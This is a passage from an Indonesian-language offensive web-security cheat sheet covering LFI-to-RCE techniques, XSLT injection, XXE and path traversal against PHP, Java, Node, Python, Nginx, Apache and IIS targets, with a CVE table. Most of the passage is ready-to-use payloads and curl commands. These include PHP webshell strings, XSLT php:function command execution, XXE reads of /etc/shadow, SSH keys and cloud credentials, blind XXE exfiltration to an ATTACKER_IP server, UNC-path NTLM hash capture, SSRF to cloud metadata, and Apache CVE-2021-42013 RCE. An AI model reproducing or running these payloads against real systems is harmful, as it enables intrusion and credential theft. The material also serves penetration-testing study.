 6curl "https://target.com/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+&cmd=id"
 7
 8# ========== expect:// (direct command) ==========
 9curl "https://target.com/?page=expect://id"
10
11# ========== php://filter chain RCE (tanpa perlu allow_url_include!) ==========
12# Teknik baru: chain php://filter conversions untuk GENERATE PHP code dari scratch
13# Tools: php_filter_chain_generator.py
14# https://github.com/synacktiv/php_filter_chain_generator
15
16python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'
17# Output: php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...
18# → payload panjang tapi TIDAK butuh allow_url_include!
19
20curl "https://target.com/?page=$(python3 php_filter_chain_generator.py --chain '<?=system($_GET[0]);?>')&0=id"

3.9 XSLT Injection via PHP

XSLT (eXtensible Stylesheet Language Transformations) bisa menjadi vector RCE ketika:

  1. Aplikasi PHP memproses XML + XSLT (via XSLTProcessor)
  2. User bisa kontrol XSL stylesheet path atau content
  3. registerPHPFunctions() diaktifkan → bisa panggil fungsi PHP arbitrary

Kasus 1: LFI via xsl:include / xsl:import

1<!-- XSL stylesheet malicious — baca file via document() -->
2<?xml version="1.0" encoding="UTF-8"?>
3<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
4  <xsl:template match="/">
5    <!-- Baca /etc/passwd via document() -->
6    <xsl:copy-of select="document('/etc/passwd')"/>
7  </xsl:template>
8</xsl:stylesheet>
1<!-- Variasi: include external stylesheet -->
2<?xml version="1.0" encoding="UTF-8"?>
3<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
4  <!-- Include file lokal sebagai stylesheet (error message leak isi file) -->
5  <xsl:include href="/etc/passwd"/>
6  <xsl:template match="/">
7    <output>test</output>
8  </xsl:template>
9</xsl:stylesheet>

Kasus 2: RCE via php:function (registerPHPFunctions)

1// Kode PHP yang vulnerable:
2$xsl = new XSLTProcessor();
3$xsl->registerPHPFunctions();  // ← ini yang bahaya!
4$xsl->importStyleSheet($xslDoc);
5echo $xsl->transformToXML($xmlDoc);
 1<!-- XSL stylesheet untuk RCE via php:function -->
 2<?xml version="1.0" encoding="UTF-8"?>
 3<xsl:stylesheet version="1.0"
 4  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
 5  xmlns:php="http://php.net/xsl">
 6
 7  <xsl:template match="/">
 8    <!-- system() -->
 9    <cmd><xsl:value-of select="php:function('system', 'id')"/></cmd>
10
11    <!-- file_get_contents() -->
12    <file><xsl:value-of select="php:function('file_get_contents', '/etc/passwd')"/></file>
13
14    <!-- exec() -->
15    <exec><xsl:value-of select="php:function('exec', 'whoami')"/></exec>
16  </xsl:template>
17</xsl:stylesheet>
 1# Jika bisa kontrol XSL content (upload atau parameter)
 2# Step 1: Upload malicious XSL
 3cat > evil.xsl << 'XSLEOF'
 4<?xml version="1.0" encoding="UTF-8"?>
 5<xsl:stylesheet version="1.0"
 6  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
 7  xmlns:php="http://php.net/xsl">
 8  <xsl:template match="/">
 9    <root>
10      <cmd><xsl:value-of select="php:function('system', 'id; cat /etc/passwd')"/></cmd>
11    </root>
12  </xsl:template>
13</xsl:stylesheet>
14XSLEOF
15
16# Step 2: Trigger transformation
17curl -s "https://target.com/transform.php?xsl=evil.xsl"
18curl -s "https://target.com/transform.php?xsl=../uploads/evil.xsl"

Kasus 3: XSLT Path Traversal — baca file via error message

1# Jika XSL include/import path bisa dicontrol
2# xsl:include path yang tidak valid → error message mengandung isi file
3
4curl -s "https://target.com/transform.php?xsl=../../../etc/passwd"
5# Error: /etc/passwd is not a valid stylesheet (error message leak partial content)
6
7# XSLT document() function untuk baca file sebagai XML
8# Jika file bukan valid XML → error berisi content

Kasus 4: XSLT via CLI tools (jika punya shell terbatas)

 1# xsltproc (libxslt) — sering terinstall di Linux
 2echo '<?xml version="1.0"?><root/>' > input.xml
 3
 4cat > rce.xsl << 'EOF'
 5<?xml version="1.0"?>
 6<xsl:stylesheet version="1.0"
 7  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
 8  xmlns:ex="http://exslt.org/common"
 9  extension-element-prefixes="ex">
10  <xsl:template match="/">
11    <!-- Write file via EXSLT -->
12    <ex:document href="/tmp/pwned.txt" method="text">
13      PWNED by XSLT
14    </ex:document>
15    <xsl:value-of select="document('/etc/passwd')"/>
16  </xsl:template>
17</xsl:stylesheet>
18EOF
19
20xsltproc rce.xsl input.xml
21
22# Jika PHP di server — bisa pakai php:function juga
23# Tapi xsltproc standalone tidak support php:function, hanya exslt extensions

Deteksi XSLT Processing

 1# Cari indikasi XSLT processing di target
 2# Error messages yang menunjukkan XSLT:
 3# "XSLTProcessor::transformToXml()"
 4# "xmlParseEntityRef"
 5# "DOMDocument::loadXML()"
 6# "xsl:stylesheet"
 7# "XSLT transformation failed"
 8
 9# Parameter yang mungkin menerima XSLT:
10# ?xsl=, ?xslt=, ?stylesheet=, ?style=, ?transform=, ?template=
11
12# Nuclei templates
13nuclei -u https://target.com -tags xslt

3.10 XXE (XML External Entity) Injection

XXE adalah teknik di mana attacker meng-inject XML entity yang referensi ke file lokal atau URL external. Ketika aplikasi mem-parse XML tanpa disable external entities, entity SYSTEM bisa baca file arbitrary — sama seperti path traversal tapi via XML POST body.

Kasus Dasar: XXE File Read

1<?xml version="1.0"?>
2<!DOCTYPE foo [
3  <!ENTITY xxe SYSTEM "file:///etc/passwd">
4]>
5<root>
6  <data>&xxe;</data>
7</root>
1# Kirim payload XXE via POST
2curl -X POST "https://target.com/api/endpoint" \
3  -H "Content-Type: application/xml" \
4  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root><data>&xxe;</data></root>'

Kasus: XXE + LFI — Baca SSH Keys

Contoh nyata pada API yang menerima XML (hotel search, payment gateway, SOAP service, dll):

 1<?xml version="1.0"?>
 2<!DOCTYPE foo [
 3  <!ENTITY xxe SYSTEM "file:///home/appuser/.ssh/authorized_keys">
 4]>
 5<SearchHotels>
 6    <MarginValue1>&xxe;</MarginValue1>
 7    <MarginValue2>0</MarginValue2>
 8    <RoundPrices>NO</RoundPrices>
 9    <ProviderCode>CYBER</ProviderCode>
10    <ProviderID>1</ProviderID>
11    <RequestID>12345</RequestID>
12    <ProviderFriendlyName>Test</ProviderFriendlyName>
13    <exchangeRate currency="EUR" value="1.0"/>
14    <Response>
15        <Hotels>
16            <Hotel ID="1">
17                <Name>Test</Name>
18                <Country>GR</Country>
19                <CityName>Athens</CityName>
20                <StateProvinceName>Attica</StateProvinceName>
21                <Address1>Test</Address1>
22                <Address2></Address2>
23                <Address3></Address3>
24                <Latitude>37.9838</Latitude>
25                <Longitude>23.7275</Longitude>
26                <Rating>5</Rating>
27                <ImageThumbURL>/test.jpg</ImageThumbURL>
28                <Description>Test</Description>
29                <Rooms>
30                    <Rooms>
31                        <Room ID="1">
32                            <Occupancy StopSales="0" Code="R1" Availability="5">
33                                <Occupancy value="100" Discount="80"/>
34                            </Occupancy>
35                        </Room>
36                    </Rooms>
37                </Rooms>
38            </Hotel>
39        </Hotels>
40    </Response>
41</SearchHotels>
 1# Simpan payload ke file lalu kirim
 2cat > xxe_payload.xml << 'XMLEOF'
 3<?xml version="1.0"?>
 4<!DOCTYPE foo [
 5  <!ENTITY xxe SYSTEM "file:///home/appuser/.ssh/authorized_keys">
 6]>
 7<SearchHotels>
 8    <MarginValue1>&xxe;</MarginValue1>
 9    <MarginValue2>0</MarginValue2>
10    <ProviderCode>CYBER</ProviderCode>
11</SearchHotels>
12XMLEOF
13
14curl -X POST "https://target.com/api/search?action=availability" \
15  -H "Content-Type: application/xml" \
16  -d @xxe_payload.xml
17
18# Ganti entity untuk baca file lain
19sed -i 's|file:///home/appuser/.ssh/authorized_keys|file:///etc/passwd|' xxe_payload.xml
20curl -X POST "https://target.com/api/search?action=availability" -d @xxe_payload.xml
21
22sed -i 's|file:///etc/passwd|file:///var/www/html/.env|' xxe_payload.xml
23curl -X POST "https://target.com/api/search?action=availability" -d @xxe_payload.xml

File Target via XXE

 1# Loop baca banyak file sekaligus
 2for target_file in \
 3  "/etc/passwd" \
 4  "/etc/shadow" \
 5  "/etc/hostname" \
 6  "/home/appuser/.ssh/id_rsa" \
 7  "/home/appuser/.ssh/authorized_keys" \
 8  "/var/www/html/.env" \
 9  "/var/www/html/wp-config.php" \
10  "/proc/self/environ" \
11  "/etc/nginx/nginx.conf" \
12  "/root/.ssh/id_rsa"; do
13
14  payload="<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file://${target_file}\">]><root><data>&xxe;</data></root>"
15
16  echo "=== $target_file ==="
17  curl -s -X POST "https://target.com/api/endpoint" \
18    -H "Content-Type: application/xml" \
19    -d "$payload" | head -20
20  echo ""
21done

XXE + PHP Wrapper (baca PHP source code)

1<!-- Gunakan php://filter untuk baca PHP files tanpa execute -->
2<?xml version="1.0"?>
3<!DOCTYPE foo [
4  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
5]>
6<root><data>&xxe;</data></root>
1# Baca PHP source code via XXE + php://filter
2curl -s -X POST "https://target.com/api/endpoint" \
3  -H "Content-Type: application/xml" \
4  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">]><root><data>&xxe;</data></root>' | \
5  grep -oP '[A-Za-z0-9+/=]{20,}' | base64 -d

Blind XXE — Out-of-Band Data Exfiltration

Jika response tidak menampilkan entity value (blind), exfiltrate via HTTP request ke server attacker:

1<!-- evil.dtd (hosted di server attacker) -->
2<!ENTITY % file SYSTEM "file:///etc/passwd">
3<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://ATTACKER_IP:8888/?data=%file;'>">
4%eval;
5%exfil;
1<!-- Payload yang dikirim ke target -->
2<?xml version="1.0"?>
3<!DOCTYPE foo [
4  <!ENTITY % xxe SYSTEM "http://ATTACKER_IP:8888/evil.dtd">
5  %xxe;
6]>
7<root><data>test</data></root>
 1# Step 1: Host evil.dtd di attacker server
 2cat > evil.dtd << 'EOF'
 3<!ENTITY % file SYSTEM "file:///etc/passwd">
 4<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://ATTACKER_IP:8888/?data=%file;'>">
 5%eval;
 6%exfil;
 7EOF
 8
 9python3 -m http.server 8888 &
10
11# Step 2: Kirim payload ke target
12curl -X POST "https://target.com/api/endpoint" \
13  -H "Content-Type: application/xml" \
14  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://ATTACKER_IP:8888/evil.dtd">%xxe;]><root><data>test</data></root>'
15
16# Step 3: Cek HTTP server — data exfiltrated di URL parameter
17# GET /?data=root:x:0:0:root:/root:/bin/bash...
18
19# Untuk file multiline (base64 encode dulu)
20# Ganti evil.dtd:
21# <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">

XXE via Berbagai Content Type

 1# ========== SOAP API ==========
 2curl -X POST "https://target.com/ws/service" \
 3  -H "Content-Type: text/xml" \
 4  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
 5<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
 6  <soap:Body><GetUser><Username>&xxe;</Username></GetUser></soap:Body>
 7</soap:Envelope>'
 8
 9# ========== SVG file upload ==========
10# SVG adalah XML — bisa inject XXE!
11cat > evil.svg << 'EOF'
12<?xml version="1.0"?>
13<!DOCTYPE svg [
14  <!ENTITY xxe SYSTEM "file:///etc/passwd">
15]>
16<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
17  <text x="0" y="20">&xxe;</text>
18</svg>
19EOF
20# Upload evil.svg sebagai avatar/image → response atau render berisi /etc/passwd
21
22# ========== DOCX / XLSX / PPTX (Office XML) ==========
23# Office files = ZIP berisi XML files
24# 1. Buat DOCX normal
25# 2. Unzip → edit word/document.xml atau [Content_Types].xml
26# 3. Inject XXE entity
27# 4. Rezip → upload ke target
28
29unzip document.docx -d doc_extract
30# Edit doc_extract/word/document.xml → tambah DOCTYPE + ENTITY
31# Atau edit doc_extract/[Content_Types].xml
32zip -r evil.docx doc_extract/*
33# Upload evil.docx → jika server parse XML di dalamnya → XXE triggered
34
35# ========== JSON ke XML (Content-Type switch) ==========
36# Beberapa API yang accept JSON juga accept XML
37# Original: Content-Type: application/json → {"search": "test"}
38# Switch:   Content-Type: application/xml  → XXE payload
39curl -X POST "https://target.com/api/search" \
40  -H "Content-Type: application/xml" \
41  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><search>&xxe;</search>'
42
43# ========== RSS/Atom feed import ==========
44# Jika target import RSS feed dari URL yang kita kontrol
45cat > evil_feed.xml << 'EOF'
46<?xml version="1.0"?>
47<!DOCTYPE foo [
48  <!ENTITY xxe SYSTEM "file:///etc/passwd">
49]>
50<rss version="2.0">
51  <channel>
52    <title>&xxe;</title>
53    <item><title>test</title></item>
54  </channel>
55</rss>
56EOF

XXE to SSRF

 1# Gunakan entity untuk request ke internal service
 2curl -X POST "https://target.com/api/endpoint" \
 3  -H "Content-Type: application/xml" \
 4  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">]><root><data>&xxe;</data></root>'
 5
 6# Internal port scan via XXE
 7for port in 22 80 443 3306 5432 6379 8080 8443 9200; do
 8  echo -n "Port $port: "
 9  timeout 3 curl -s -X POST "https://target.com/api/endpoint" \
10    -H "Content-Type: application/xml" \
11    -d "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://127.0.0.1:${port}/\">]><root><data>&xxe;</data></root>" | head -1
12  echo ""
13done

Deteksi & Tools

 1# ========== Deteksi XXE ==========
 2# Content-Type yang menandakan XML processing:
 3# application/xml, text/xml, application/soap+xml
 4# multipart/form-data (file upload → SVG, DOCX, XLSX)
 5# application/xhtml+xml
 6
 7# ========== Tools ==========
 8# XXEinjector — automated XXE exploitation
 9ruby XXEinjector.rb --host=ATTACKER_IP --file=request.txt --path=/etc/passwd --oob=http
10
11# Nuclei
12nuclei -u https://target.com -tags xxe
13
14# Burp Suite: scan XML endpoints, inject XXE payloads
15# Collaborator → detect blind XXE via OOB

3.11 RCE Checklist

LFI to RCE — urutan yang dicoba:
│
├─ 1. PHP wrappers (paling mudah)
│     ├─ php://filter chain generator (TIDAK butuh allow_url_include!)
│     ├─ php://input (butuh allow_url_include=On)
│     ├─ data:// (butuh allow_url_include=On)
│     └─ expect:// (butuh extension expect)
│
├─ 2. Log poisoning (sering berhasil)
│     ├─ Apache access.log (User-Agent injection)
│     ├─ Nginx access.log
│     ├─ SSH auth.log (username injection)
│     └─ Mail log (SMTP injection)
│
├─ 3. Session file inclusion
│     ├─ /var/lib/php/sessions/sess_<ID>
│     └─ /tmp/sess_<ID>
│
├─ 4. Uploaded file inclusion
│     ├─ Image dengan PHP di EXIF/body
│     ├─ ZIP upload + zip:// wrapper
│     └─ PHAR upload + phar:// wrapper
│
├─ 5. /proc filesystem
│     ├─ /proc/self/environ (User-Agent)
│     └─ /proc/self/fd/<N> (brute force FD)
│
├─ 6. XSLT injection
│     ├─ php:function callback
│     ├─ document() file read
│     └─ exslt:document file write
│
├─ 7. XXE (XML External Entity)
│     ├─ file:// entity → baca file lokal (passwd, SSH keys, .env)
│     ├─ Blind XXE → OOB exfiltration via HTTP
│     ├─ XXE via SVG upload, DOCX, SOAP, JSON→XML switch
│     └─ XXE → SSRF → cloud metadata
│
└─ 8. Fallback: chain dengan vuln lain
      ├─ LFI baca credentials → login ke panel lain → RCE
      ├─ LFI baca source code → temukan vuln lain (SQLi, SSRF)
      └─ LFI baca SSH key → SSH access

Bab 4 — Target-Specific Cases

4.1 PHP — Laravel

 1# ========== File target utama ==========
 2# .env — semua secrets (paling penting!)
 3curl "https://target.com/?file=../../../var/www/html/.env"
 4curl "https://target.com/?file=../.env"
 5
 6# Isi .env yang dicari:
 7# APP_KEY=base64:xxxxx      ← Laravel encryption key (bisa decrypt cookies/sessions)
 8# DB_HOST=localhost
 9# DB_DATABASE=laravel
10# DB_USERNAME=root
11# DB_PASSWORD=secret
12# MAIL_PASSWORD=xxx
13# AWS_ACCESS_KEY_ID=xxx
14# AWS_SECRET_ACCESS_KEY=xxx
15
16# ========== Log file (debug info) ==========
17curl "https://target.com/?file=../storage/logs/laravel.log"
18# → Stack traces berisi file paths, query parameters, credentials di query strings
19
20# ========== Config files ==========
21curl "https://target.com/?file=../config/database.php"
22curl "https://target.com/?file=../config/app.php"
23curl "https://target.com/?file=../config/mail.php"
24curl "https://target.com/?file=../config/services.php"  # API keys
25
26# ========== Debug mode disclosure ==========
27# Jika APP_DEBUG=true → error page tampilkan semua env variables!
28# Ignition page (Laravel 6+): _ignition/health-check
29curl "https://target.com/_ignition/health-check"
30# CVE-2021-3129: RCE via Ignition (Laravel < 8.4.2)

4.2 PHP — WordPress

 1# ========== wp-config.php (jackpot) ==========
 2curl "https://target.com/?file=../../../var/www/html/wp-config.php"
 3curl "https://target.com/?file=../wp-config.php"
 4
 5# php://filter untuk baca tanpa execute
 6curl "https://target.com/?page=php://filter/convert.base64-encode/resource=../wp-config"
 7
 8# Isi wp-config.php:
 9# define('DB_NAME', 'wordpress');
10# define('DB_USER', 'wp_user');
11# define('DB_PASSWORD', 'WpDbPass2024!');
12# define('DB_HOST', 'localhost');
13# define('AUTH_KEY', '...');           ← bisa forge cookies
14# define('SECURE_AUTH_KEY', '...');
15
16# ========== Plugin/Theme LFI ==========
17# Banyak plugin WordPress yang vulnerable LFI:
18# Plugin download file tanpa auth check
19curl "https://target.com/wp-content/plugins/vuln-plugin/download.php?file=../../../wp-config.php"
20
21# Plugin preview template
22curl "https://target.com/wp-content/themes/vuln-theme/include.php?file=../../../../etc/passwd"
23
24# ========== wp-debug.log ==========
25curl "https://target.com/wp-content/debug.log"
26curl "https://target.com/?file=../wp-content/debug.log"

4.3 PHP — Joomla & Drupal

 1# ========== Joomla ==========
 2# configuration.php — main config
 3curl "https://target.com/?file=../configuration.php"
 4curl "https://target.com/?page=php://filter/convert.base64-encode/resource=../configuration"
 5
 6# Isi: $host, $db, $user, $password, $secret (session secret)
 7
 8# Joomla path traversal CVEs:
 9# CVE-2023-23752: Joomla 4.x API info disclosure
10curl "https://target.com/api/index.php/v1/config/application?public=true"
11
12# ========== Drupal ==========
13# settings.php — DB credentials
14curl "https://target.com/?file=../sites/default/settings.php"
15curl "https://target.com/?file=../../../var/www/html/sites/default/settings.php"
16
17# Drupal file path:
18# sites/default/settings.php
19# sites/default/files/

4.4 Java / Tomcat

 1# ========== ..;/ bypass (Tomcat path parameter) ==========
 2# Tomcat treats ;xxx as path parameter → stripped before path resolution
 3# /app/..;/WEB-INF/web.xml → normalize → /WEB-INF/web.xml
 4
 5curl "https://target.com/app/..;/WEB-INF/web.xml"
 6curl "https://target.com/app/..;/..;/WEB-INF/web.xml"
 7curl "https://target.com/..;/WEB-INF/web.xml"
 8
 9# ========== WEB-INF files (goldmine) ==========
10# web.xml — servlet mappings, filter config, security constraints
11curl "https://target.com/..;/WEB-INF/web.xml"
12
13# context.xml — database connection strings!
14curl "https://target.com/..;/META-INF/context.xml"
15# <Resource name="jdbc/mydb" username="dbuser" password="DbPass123" url="jdbc:mysql://db:3306/app"/>
16
17# Class files — decompile untuk review source
18curl "https://target.com/..;/WEB-INF/classes/com/app/Config.class" -o Config.class
19javap -c Config.class  # decompile
20
21# Spring Boot application.properties
22curl "https://target.com/..;/WEB-INF/classes/application.properties"
23curl "https://target.com/..;/WEB-INF/classes/application.yml"
24# spring.datasource.url=jdbc:mysql://...
25# spring.datasource.username=...
26# spring.datasource.password=...
27
28# ========== Tomcat manager credentials ==========
29curl "https://target.com/..;/..;/conf/tomcat-users.xml"
30# <user username="admin" password="admin" roles="manager-gui"/>
31
32# ========== Spring Boot Actuator (jika exposed) ==========
33curl "https://target.com/actuator/env"      # environment variables
34curl "https://target.com/actuator/configprops"
35curl "https://target.com/actuator/heapdump"  # heap dump → extract secrets

4.5 Node.js

 1# ========== path.join bypass ==========
 2# Node.js path.join() resolve ../ — tapi ada edge cases
 3
 4# Jika code: res.sendFile(path.join(__dirname, 'public', req.query.file))
 5curl "https://target.com/?file=../../../etc/passwd"
 6
 7# URL encoded (Express.js normalize URL sebelum routing)
 8curl "https://target.com/?file=..%2f..%2f..%2fetc%2fpasswd"
 9
10# Null byte (Node.js < 8.x)
11curl "https://target.com/?file=../../../etc/passwd%00.js"
12
13# ========== File target ==========
14curl "https://target.com/?file=../package.json"     # dependencies + scripts
15curl "https://target.com/?file=../.env"              # environment vars
16curl "https://target.com/?file=../config/default.json"
17curl "https://target.com/?file=../config/production.json"  # config module
18
19# ========== Express.js specific ==========
20# Static file middleware misconfiguration
21# express.static('/public') tanpa sanitasi
22curl "https://target.com/public/../.env"
23curl "https://target.com/static/..%2f..%2f.env"
24
25# ========== package.json → dependency audit ==========
26# Baca package.json → cari dependency yang vulnerable
27curl -s "https://target.com/?file=../package.json" | python3 -m json.tool

4.6 Python / Flask / Django

 1# ========== Flask — Jinja2 SSTI via LFI ==========
 2# Jika LFI bisa baca template file → cari template injection point
 3# Flask template folder: templates/
 4
 5# Direct file read
 6curl "https://target.com/?file=../app.py"
 7curl "https://target.com/?file=../config.py"
 8curl "https://target.com/?file=../.env"
 9curl "https://target.com/?file=../requirements.txt"
10
11# Flask debug mode: Werkzeug debugger
12# /console → interactive Python console (jika DEBUG=True)
13curl "https://target.com/console"
14
15# ========== Django ==========
16# settings.py — semua config termasuk SECRET_KEY, DATABASE
17curl "https://target.com/?file=../myproject/settings.py"
18curl "https://target.com/?file=../settings.py"
19
20# Isi penting:
21# SECRET_KEY = 'xxx'  ← forge session cookies
22# DATABASES = { 'default': { 'PASSWORD': 'xxx' } }
23
24# Django debug page (DEBUG=True) → leak semua settings
25# Trigger error → 404/500 page tampilkan settings
26
27# ========== Python file read (os.path.join quirk) ==========
28# os.path.join('/base', '/etc/passwd') → '/etc/passwd'
29# Jika input dimulai dengan / → ignore base path!
30curl "https://target.com/?file=/etc/passwd"

4.7 Nginx Alias Traversal

Misconfiguration sangat umum — terjadi ketika alias directive tidak diakhiri trailing slash:

 1# RENTAN — tidak ada trailing slash di alias
 2location /files {
 3    alias /var/www/files;
 4}
 5# Request: /files../etc/passwd → resolves ke /var/www/files/../etc/passwd → /var/www/etc/passwd
 6# Request: /files../../../../etc/passwd → /etc/passwd
 7
 8# AMAN — ada trailing slash
 9location /files/ {
10    alias /var/www/files/;
11}
 1# Exploit Nginx alias traversal
 2curl "https://target.com/files../etc/passwd"
 3curl "https://target.com/files..%2f..%2f..%2fetc%2fpasswd"
 4curl "https://target.com/static../../../etc/passwd"
 5curl "https://target.com/assets../../../etc/passwd"
 6curl "https://target.com/img../../../etc/passwd"
 7
 8# Fuzz common location names
 9for loc in files static assets img uploads media resources public css js fonts images; do
10  result=$(curl -s "https://target.com/${loc}../etc/passwd" | grep -c "root:")
11  [ "$result" -gt 0 ] && echo "VULN: /${loc}../"
12done
13
14# Nuclei template
15nuclei -u https://target.com -t http/misconfiguration/nginx/nginx-alias-traversal.yaml

4.8 Apache Misconfiguration

 1# ========== CVE-2021-41773 — Apache 2.4.49 Path Traversal ==========
 2# Path normalization bug: %2e bypass
 3curl "https://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
 4
 5# ========== CVE-2021-42013 — Apache 2.4.49 & 2.4.50 RCE ==========
 6# Double encoding bypass dari patch 41773
 7curl "https://target.com/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd"
 8
 9# RCE jika mod_cgi enabled
10curl -X POST "https://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh" \
11  -d 'echo Content-Type: text/plain; echo; id'
12
13# ========== .htaccess read (informasi konfigurasi) ==========
14curl "https://target.com/?file=../.htaccess"
15# Bisa berisi: RewriteRule, auth config, PHP settings
16
17# ========== Server status / info ==========
18curl "https://target.com/server-status"
19curl "https://target.com/server-info"
20# → request URLs, virtual hosts, module list

4.9 IIS / Windows Specific

 1# ========== Backslash traversal ==========
 2curl "https://target.com/?file=..\..\..\..\windows\win.ini"
 3curl "https://target.com/?file=..%5c..%5c..%5c..%5cwindows%5cwin.ini"
 4
 5# ========== Alternate Data Streams ==========
 6# ::$DATA → bypass extension filter
 7curl "https://target.com/?file=../../../windows/win.ini::$DATA"
 8# Juga bisa baca source ASP/ASPX:
 9curl "https://target.com/page.aspx::$DATA"
10
11# ========== web.config — IIS configuration ==========
12curl "https://target.com/?file=../web.config"
13# Berisi: connection strings, app settings, authentication config
14# <connectionStrings>
15#   <add connectionString="Server=db;Database=app;User=sa;Password=P@ss123;" />
16# </connectionStrings>
17
18# ========== 8.3 Short Filename ==========
19# C:\Program Files → C:\PROGRA~1
20# Bypass filter yang cek long filename
21curl "https://target.com/?file=..\..\..\..\PROGRA~1\MySQL\MYSQLS~1\my.ini"
22
23# ========== IIS tilde enumeration ==========
24# https://target.com/~short*~1.*  → 404 vs 200 = exists
25# Tool: IIS-ShortName-Scanner
26java -jar iis_shortname_scanner.jar https://target.com/
27
28# ========== UNC Path — NTLM hash capture ==========
29curl "https://target.com/?file=\\\\ATTACKER_IP\\share\\test"
30# Jika server mencoba akses UNC path → kirim NTLM hash
31# Responder: responder -I eth0 -wrf

4.10 API Endpoints (REST & GraphQL)

 1# ========== REST API ==========
 2# File download endpoints
 3curl "https://target.com/api/v1/files/download?path=../../../etc/passwd"
 4curl "https://target.com/api/v1/export?filename=../../../../etc/passwd"
 5curl "https://target.com/api/v1/attachments?file=../../../../../../etc/passwd"
 6
 7# Image/avatar endpoints
 8curl "https://target.com/api/v1/avatar?image=../../../etc/passwd"
 9
10# Report/document generation
11curl "https://target.com/api/v1/reports/generate?template=../../../etc/passwd"
12
13# ========== GraphQL ==========
14# Query yang terima file path
15curl -X POST "https://target.com/graphql" \
16  -H "Content-Type: application/json" \
17  -d '{"query":"{ readFile(path: \"../../../etc/passwd\") }"}'
18
19curl -X POST "https://target.com/graphql" \
20  -H "Content-Type: application/json" \
21  -d '{"query":"{ getTemplate(name: \"../../../etc/passwd\") }"}'
22
23# ========== JSON body parameter ==========
24curl -X POST "https://target.com/api/process" \
25  -H "Content-Type: application/json" \
26  -d '{"file": "../../../etc/passwd"}'
27
28curl -X POST "https://target.com/api/process" \
29  -H "Content-Type: application/json" \
30  -d '{"template": "../../../etc/passwd"}'

4.11 SSRF + LFI Chain — Cloud Metadata

 1# ========== LFI baca file lokal → temukan SSRF ==========
 2# Baca source code via php://filter → temukan endpoint yang fetch URL
 3# Exploit SSRF → baca cloud metadata
 4
 5# ========== Langsung: file:// protocol ==========
 6# Jika app terima URL dan pakai curl/file_get_contents:
 7curl "https://target.com/fetch?url=file:///etc/passwd"
 8curl "https://target.com/fetch?url=file:///var/www/html/.env"
 9
10# ========== Cloud metadata via SSRF ==========
11# AWS
12curl "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/"
13curl "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
14curl "https://target.com/fetch?url=http://169.254.169.254/latest/user-data"
15
16# GCP
17curl "https://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
18  -H "Metadata-Flavor: Google"
19
20# Azure
21curl "https://target.com/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01" \
22  -H "Metadata: true"
23
24# ========== Dari LFI langsung (di dalam cloud instance) ==========
25# Jika sudah punya LFI di AWS instance:
26curl "https://target.com/?file=../../../proc/self/environ"
27# → mungkin berisi AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY
28
29# Cloud credentials di file
30curl "https://target.com/?file=../../../home/ubuntu/.aws/credentials"
31curl "https://target.com/?file=../../../root/.aws/credentials"
32curl "https://target.com/?file=../../../home/ubuntu/.config/gcloud/credentials.db"

4.12 CVE Reference

CVETargetDeskripsi
CVE-2021-41773Apache 2.4.49Path traversal via %2e normalization bug
CVE-2021-42013Apache 2.4.49/50Double encoding bypass + RCE via mod_cgi
CVE-2024-4577PHP-CGI (Windows)Argument injection via path traversal
CVE-2023-23752Joomla 4.xAPI info disclosure (configuration leak)
CVE-2021-3129Laravel IgnitionRCE via path traversal di debug page
CVE-2019-3396ConfluencePath traversal di Widget Connector → RCE
CVE-2020-5902F5 BIG-IPPath traversal → RCE (..;/ bypass di Tomcat)
CVE-2020-17519Apache FlinkJobManager path traversal → arbitrary file read
CVE-2018-7600Drupal (Drupalgeddon2)RCE via form render array (related to LFI chains)
CVE-2023-34362MOVEit TransferPath traversal + SQLi → RCE
CVE-2024-21887Ivanti Connect SecurePath traversal → RCE (chained with auth bypass)
CVE-2023-46747F5 BIG-IPAuth bypass via path traversal di request smuggling
CVE-2020-14882Oracle WebLogicPath traversal → RCE via console
CVE-2019-16278Nostromo nhttpdPath traversal via /../ normalization → RCE
CVE-2024-37085VMware ESXiPath traversal di API → credential access
1# Scan dengan Nuclei untuk CVE di atas
2nuclei -l targets.txt -t cves/2021/CVE-2021-41773.yaml
3nuclei -l targets.txt -t cves/2021/CVE-2021-42013.yaml
4nuclei -l targets.txt -t cves/2024/CVE-2024-4577.yaml
5nuclei -l targets.txt -tags traversal,lfi,path-traversal

